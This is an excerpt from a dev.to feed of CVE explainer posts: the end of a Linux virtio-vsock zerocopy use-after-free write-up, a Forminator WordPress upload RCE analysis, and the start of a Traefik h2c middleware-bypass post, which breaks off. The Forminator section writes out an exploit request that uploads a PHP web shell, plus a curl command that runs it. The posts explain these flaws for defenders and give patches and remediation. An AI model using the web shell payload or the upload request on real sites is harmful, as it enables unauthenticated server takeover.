&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Correct path (has a uarg):  pin(+1) → skb transmitted → zerocopy completion fires(-1) → ref hits 0, safely released
Flawed path (no uarg):      pin(+1) → skb just gets freed → only put_page() fires → extra, unpaired decrement
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every repeated &lt;code&gt;MSG_ZEROCOPY&lt;/code&gt; transfer adds one more "decrement that was never in the original accounting" for each mid-sequence skb. Repeat enough multi-skb sends against the same userspace buffer, and the kernel's pin count (bias) for that page reaches zero faster than userspace could ever expect.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — once the pin count hits zero, that physical page looks "free" to the kernel
&lt;/h3&gt;

&lt;p&gt;Once the pin count reaches zero, the kernel assumes nobody is using the page anymore and can route it back through its normal page-reclaim paths (the per-CPU free list, for instance). In reality, userspace — the attacker — still holds an alias to that page and can still write to it. This is exactly the boundary where things become a textbook Use-After-Free problem: the same physical page is simultaneously "a buffer the attacker can write to" and "a resource the kernel believes is entirely free and has reallocated."&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A published PoC is reported to have successfully carried this race condition all the way to local privilege escalation, and Red Hat's advisory itself states that this issue "could lead to local privilege escalation." That said, the specific technique for steering the reallocated page toward a chosen target (such as the cached contents of another file) and winning the necessary timing is memory-grooming, race-condition territory — and isn't covered in this post. The goal here is understanding the root cause: missing completion tracking.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/-UA1oFtOIco" width="315" height="560"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;





&lt;h2&gt;
  
  
  The patch — adopt what TCP already does: allocate once before the loop, share it across every skb
&lt;/h2&gt;

&lt;p&gt;The kernel patch restructures &lt;code&gt;virtio_transport_send_pkt_info()&lt;/code&gt; itself. Instead of allocating the &lt;code&gt;uarg&lt;/code&gt; "when filling the last skb," it's now allocated &lt;strong&gt;once, before entering the send loop&lt;/strong&gt;, and inside the loop, every skb calls &lt;code&gt;skb_zcopy_set(skb, uarg, NULL)&lt;/code&gt; to add one more reference.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// net/vmw_vsock/virtio_transport_common.c (after the fix, reconstructed from the public patch mail)&lt;/span&gt;
&lt;span class="n"&gt;uarg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg_zerocopy_realloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sk_vsock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vsk&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;total_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total_len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;skb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;virtio_transport_alloc_skb&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;skb_zcopy_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uarg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// every skb gets completion tracking — not just the last one&lt;/span&gt;
    &lt;span class="n"&gt;virtio_transport_inc_tx_pkt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vvs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cm"&gt;/* msg_zerocopy_realloc() initializes the ubuf_info refcount to 1.
 * skb_zcopy_set() bumps it once per skb, so that initial reference
 * is dropped separately afterward to keep the count balanced. */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this change, each skb's completion decrements the &lt;code&gt;uarg&lt;/code&gt;'s reference count by exactly one, and userspace only receives the completion notification once the total reference count hits zero — which now happens precisely when every skb has actually finished transmitting. If the loop exits early without sending any data, the allocated &lt;code&gt;uarg&lt;/code&gt; is cleanly torn down via &lt;code&gt;net_zcopy_put_abort()&lt;/code&gt;, so no reference is ever left dangling.&lt;/p&gt;

&lt;p&gt;The principle this case illustrates is straightforward. When code can split "one logical transfer" into several sub-units (skbs here), resource lifetime management — pin release, in this instance — has to be designed around &lt;strong&gt;the entire logical transfer&lt;/strong&gt;, not any single piece of it. The assumption "we only need to handle this once, at the last fragment" easily overlooks the fact that every other fragment is holding the exact same resource in the meantime.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update the kernel to 7.0.11, 6.12.97, or whichever backported version your distribution has released for this CVE.&lt;/li&gt;
&lt;li&gt;The affected code path is only reachable in environments that actually use &lt;code&gt;MSG_ZEROCOPY&lt;/code&gt; over virtio-vsock (or vhost-vsock). Systems that don't use &lt;code&gt;AF_VSOCK&lt;/code&gt; at all aren't affected.&lt;/li&gt;
&lt;li&gt;On a multi-user system where an immediate update isn't feasible, restricting &lt;code&gt;/dev/vsock&lt;/code&gt; access to the users or groups that actually need it can serve as a temporary mitigation — worth remembering that quite a few distributions ship it at mode &lt;code&gt;0666&lt;/code&gt; by default.&lt;/li&gt;
&lt;li&gt;If you're exposing &lt;code&gt;io_uring&lt;/code&gt; to unprivileged user namespaces inside containers or VMs, keep in mind that doing so widens the attack surface for this entire class of local privilege-escalation bug.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>cve</category>
      <category>linux</category>
    </item>
    <item>
      <title>CVE-2026-15748 Explained: How One Pipe Character Broke an "Exact Match" Blocklist</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sat, 17 Oct 2026 01:56:27 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-15748-explained-how-one-pipe-character-broke-an-exact-match-blocklist-4jfl</link>
      <guid>https://dev.to/guidance_white/cve-2026-15748-explained-how-one-pipe-character-broke-an-exact-match-blocklist-4jfl</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3dxb3hmgtly5aqicmlhf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3dxb3hmgtly5aqicmlhf.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-15748&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;Forminator Forms – Contact Form, Payment Form &amp;amp; Custom Form Builder (WordPress plugin)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;1.56.1 and earlier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;1.56.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;daroo, via the Wordfence Bug Bounty Program&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Install base&lt;/td&gt;
&lt;td&gt;Installed on more than 600,000 WordPress sites&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Precondition&lt;/td&gt;
&lt;td&gt;The targeted form must contain &lt;strong&gt;both a File Upload field and a Select field&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Forminator Forms is a form builder plugin for WordPress that handles contact forms, payment forms, and custom forms. Any form accepting file attachments needs logic that stops dangerous files from being uploaded, and Forminator has exactly that — a dangerous-extension blocklist inside &lt;code&gt;handle_file_upload()&lt;/code&gt;. This CVE, though, isn't a single flaw. It's a case where &lt;strong&gt;two separate weak points happened to line up&lt;/strong&gt; and together produced RCE.&lt;/p&gt;

&lt;p&gt;The first is that the setting determining which file types an upload field accepts gets trusted &lt;strong&gt;from the request itself, rather than from the form definition saved on the server.&lt;/strong&gt; The second is that the blocklist check meant to filter out dangerous extensions compares MIME type strings using &lt;strong&gt;exact key matching, with no normalization.&lt;/strong&gt; Combine the two, and an attacker can inject a forged configuration through a completely different field (Select) to redefine what the upload field accepts, then slip a &lt;code&gt;.php&lt;/code&gt; file past the blocklist check with nothing more than a single pipe (&lt;code&gt;|&lt;/code&gt;) character.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — who decides an upload field's "allowed types"
&lt;/h2&gt;

&lt;p&gt;Forminator form submissions go through an &lt;code&gt;admin-ajax.php&lt;/code&gt; action that's callable without authentication. In the correct flow, which extensions/MIME types an upload field accepts should be &lt;strong&gt;a value the admin configured when building the form, stored on the server (in the database)&lt;/strong&gt;, and the uploaded file should be checked against that stored value at submission time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// reconstructed from the public advisory — conceptual submission flow&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;handle_file_upload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$field&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$request_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$allowed_types&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get_field_settings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$field_id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// this is supposed to be the SAVED setting&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Faeni54ylil52b51gk7a1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Faeni54ylil52b51gk7a1.png" alt=" " width="800" height="1440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — the public submission handler trusts field config straight from the request
&lt;/h3&gt;

&lt;p&gt;According to Wordfence's public advisory, that's exactly where the problem sits. The public submission handler builds the upload field's configuration from &lt;strong&gt;a value included in the request&lt;/strong&gt;, rather than from what's stored on the server — and that value can be injected through a field that looks completely unrelated, like a Select field.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// reconstructed from the public advisory — config merge step before handle_file_upload()&lt;/span&gt;
&lt;span class="nv"&gt;$field_settings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get_field_settings_from_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// embed a structure that looks like an "upload field config" inside the select-1 value,&lt;/span&gt;
&lt;span class="c1"&gt;// and the server accepts it as-is, instead of the admin's actual setting&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This step alone is already serious. Even if an admin configured an upload field to "only allow jpg, png," an attacker sending a crafted value through the Select field can &lt;strong&gt;redefine, at request time, which extensions that form actually accepts.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — the last line of defense left: the dangerous-extension blocklist
&lt;/h3&gt;

&lt;p&gt;Even if the allowed types can be redefined arbitrarily, &lt;code&gt;handle_file_upload()&lt;/code&gt; still has one more check: a separate blocklist filtering out dangerous, server-executable extensions and MIME types like &lt;code&gt;.php&lt;/code&gt; or &lt;code&gt;.phtml&lt;/code&gt;. This check is where the second flaw lives.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// reconstructed from the public advisory&lt;/span&gt;
&lt;span class="nv"&gt;$dangerous_mime_types&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'application/x-php'&lt;/span&gt;      &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'application/x-httpd-php'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dangerous_mime_types&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$mime_key&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WP_Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'dangerous_file_type'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This code only flags something as dangerous when &lt;code&gt;$mime_key&lt;/code&gt; is &lt;strong&gt;literally identical&lt;/strong&gt; to one of the blocklist's keys. In Wordfence's own words, this logic is bypassed by "pipe-alternative MIME type keys."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal request's mime_key:    "application/x-php"       → $dangerous_mime_types[...] exists → blocked
Crafted request's mime_key:   "application/x-php|"      → $dangerous_mime_types[...] doesn't exist → isset() = false → allowed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Appending a single &lt;code&gt;|&lt;/code&gt; to the MIME type string is enough to make &lt;code&gt;isset()&lt;/code&gt; conclude "no such key exists." The blocklist's actual intent — stopping files with dangerous MIME types — goes unenforced, because an implementation that only checks for exact string equality becomes a bypass in its own right.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — combine both flaws: a PHP file with attacker-chosen name and content lands on disk
&lt;/h3&gt;

&lt;p&gt;Putting the two flaws together, an attacker can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Embed a forged "upload field config" inside the Select field value, overriding the server's trusted allowed-type list entirely.&lt;/li&gt;
&lt;li&gt;Even if a blocklist check remains, slip past it by appending &lt;code&gt;|&lt;/code&gt; to the MIME type key.&lt;/li&gt;
&lt;li&gt;Fully control both the filename and the content.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /wp-admin/admin-ajax.php
action=forminator_submit_form_custom-forms-5
file-upload-1[name]=shell.php
file-upload-1[content]=&amp;lt;?php system($_GET['cmd']); ?&amp;gt;
select-1=&amp;lt;encoded value carrying the forged upload-field config&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If this request is processed normally, a PHP file named &lt;code&gt;shell.php&lt;/code&gt;, with exactly the content the attacker chose, gets created in the upload directory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — the default directory has &lt;code&gt;.htaccess&lt;/code&gt; protection; Custom Upload Storage doesn't
&lt;/h3&gt;

&lt;p&gt;That's not the whole story, either. By default, Forminator's upload directory is protected by a &lt;code&gt;.htaccess&lt;/code&gt; file that blocks PHP execution — so even if a &lt;code&gt;.php&lt;/code&gt; file gets uploaded, the web server often just returns it as plain text rather than executing it. But when an admin configures a separate &lt;strong&gt;"Custom File Upload Storage root,"&lt;/strong&gt; that protection disappears.&lt;/p&gt;

&lt;p&gt;Here's how Wordfence describes it: that &lt;code&gt;.htaccess&lt;/code&gt; file is created "when first needed" — specifically, during the processing of a frontend (unauthenticated) submission request. But the WordPress helper function responsible for writing &lt;code&gt;.htaccess&lt;/code&gt; isn't loaded on that frontend request path at all. As a result, files accumulate in the custom upload path with no PHP-execution safeguard ever having been created.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://target/wp-content/uploads/forminator-custom/shell.php?cmd=id"&lt;/span&gt;
&lt;span class="c"&gt;# → uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Simply requesting the uploaded file by URL is enough for the server to execute it as PHP. No authentication, no special privileges, no trick on a second request — nothing.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/SLN-JiMRpkk" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — let the server own the config, and normalize before comparing
&lt;/h2&gt;

&lt;p&gt;Forminator 1.56.2 fixed this structurally. An upload field's allowed file types are no longer built from values carried in the request at all — only the form configuration stored on the server is trusted. The dangerous-extension/MIME-type blocklist comparison was also changed from a plain key match to a comparison against normalized input, so appending a delimiter like &lt;code&gt;|&lt;/code&gt; no longer bypasses it.&lt;/p&gt;

&lt;p&gt;Two lessons come out of this. First, &lt;strong&gt;the assumption that "this value must already be a server-trusted setting" can be broken from almost any position in a request.&lt;/strong&gt; If a configuration value can be injected through a field that looks entirely unrelated to the thing it configures — here, a Select field redefining an upload field's accepted types — the validation built around that setting means nothing. Second, a blocklist or allowlist comparison that checks "is this string exactly equal" without normalizing the input first will always have room for an attacker to construct a variant that means the same thing semantically while differing just enough in the raw string to slip through.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update Forminator Forms to 1.56.2 or later immediately.&lt;/li&gt;
&lt;li&gt;Check whether any of your forms combine a File Upload field with a Select field, and if an immediate update isn't possible, consider temporarily disabling the file upload field on those forms.&lt;/li&gt;
&lt;li&gt;If you're using a "Custom File Upload Storage root," verify directly — independent of the plugin's own settings — that web-server-level protection against PHP execution (an Nginx &lt;code&gt;location&lt;/code&gt; rule, an Apache &lt;code&gt;.htaccess&lt;/code&gt; directive) actually applies to that directory.&lt;/li&gt;
&lt;li&gt;If exposure is possible, check both the default and custom upload directories for unfamiliar &lt;code&gt;.php&lt;/code&gt;/&lt;code&gt;.phtml&lt;/code&gt; files, and review access logs for &lt;code&gt;forminator_submit_form_*&lt;/code&gt; requests to &lt;code&gt;admin-ajax.php&lt;/code&gt; carrying unusually large &lt;code&gt;select&lt;/code&gt; parameter values.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>wordpress</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>python</category>
    </item>
    <item>
      <title>CVE-2026-88008 Explained: One "101 Switching Protocols" Erases Every Middleware Traefik Has</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 16 Oct 2026 02:08:01 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-88008-explained-one-101-switching-protocols-erases-every-middleware-traefik-has-3h10</link>
      <guid>https://dev.to/guidance_white/cve-2026-88008-explained-one-101-switching-protocols-erases-every-middleware-traefik-has-3h10</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4g0gwhwk712tf4zoockl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4g0gwhwk712tf4zoockl.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-88008&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;Traefik (open-source reverse proxy and load balancer)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;2.11.26 through 2.11.56, 3.4.2 through 3.7.12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;2.11.57, 3.7.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;7.0 (High, CVSS v4.0) — some advisories also cite 9.1 under CVSS 3.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-444 (Inconsistent Interpretation of HTTP Requests / HTTP Smuggling), CWE-863 (Incorrect Authorization)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;ihopenre-eng, via Traefik's GitHub Security Advisory (GHSA-w4v4-9rw7-5326), disclosed 2026-09-07&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Precondition&lt;/td&gt;
&lt;td&gt;An attacker-reachable "unprotected router" and a "protected router" must share the same backend, and that backend must respond with 101 to an &lt;code&gt;Upgrade: h2c&lt;/code&gt; request&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Traefik's model is simple: a router decides which backend a request goes to, and the middleware attached to that router — BasicAuth, ForwardAuth, IPAllowList, RateLimit, and the like — handles authentication and authorization. For this model to actually be secure, one assumption has to hold without exception: &lt;strong&gt;every request has to pass through the router and its middleware, no detours.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;CVE-2026-88008 is exactly where that assumption breaks. Since Go 1.24, Traefik supports unencrypted HTTP/2 with prior knowledge (h2c), and that created a path where a client-supplied &lt;code&gt;Connection: Upgrade&lt;/code&gt; and &lt;code&gt;Upgrade: h2c&lt;/code&gt; header gets forwarded to the backend with no validation at all. If the backend accepts that upgrade request and responds with &lt;code&gt;101 Switching Protocols&lt;/code&gt;, Traefik stops interpreting the connection as HTTP requests entirely and switches it into &lt;strong&gt;a raw tunnel that just copies bytes between the client and the backend.&lt;/strong&gt; The problem is that routing and middleware selection only happen for &lt;em&gt;the first HTTP/1 request&lt;/em&gt;. Once the tunnel opens, every HTTP/2 request that flows through it afterward completely skips Traefik's router and middleware chain.&lt;/p&gt;

&lt;p&gt;The upshot: an attacker only needs to open an h2c tunnel through a completely unauthenticated public path (&lt;code&gt;/public&lt;/code&gt;) to reach a &lt;code&gt;BasicAuth&lt;/code&gt;-protected path (&lt;code&gt;/admin&lt;/code&gt;) on the same backend — with zero credentials.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — four points the Upgrade header passes through
&lt;/h2&gt;

&lt;p&gt;The GitHub security advisory identifies four places in the code involved in this flow, based on the default proxy implementation, &lt;code&gt;pkg/proxy/httputil&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌───────────────┐   GET /public              ┌──────────┐
│               │   Connection: Upgrade       │          │
│    Attacker   │──Upgrade: h2c──────────────▶│ Traefik  │
│               │                              │          │
└───────────────┘                              └────┬─────┘
                                                      │ r-public (no auth)
                                                      ▼
                                                 ┌──────────┐
                                                 │ Backend  │
                                                 └────┬─────┘
                                                      │ 101 Switching Protocols
                                                      ▼
                                              [ raw byte tunnel ]
                                                      │
                                                      │ HTTP/2 GET /admin
                                                      ▼
                                                 ┌──────────┐
                                                 │ Backend  │──▶ /admin (BasicAuth never applied)
                                                 └──────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feh39unfbouf2oa0zex3e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feh39unfbouf2oa0zex3e.png" alt=" " width="800" height="1404"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — there's no allowlist on the &lt;code&gt;Upgrade&lt;/code&gt; header
&lt;/h3&gt;

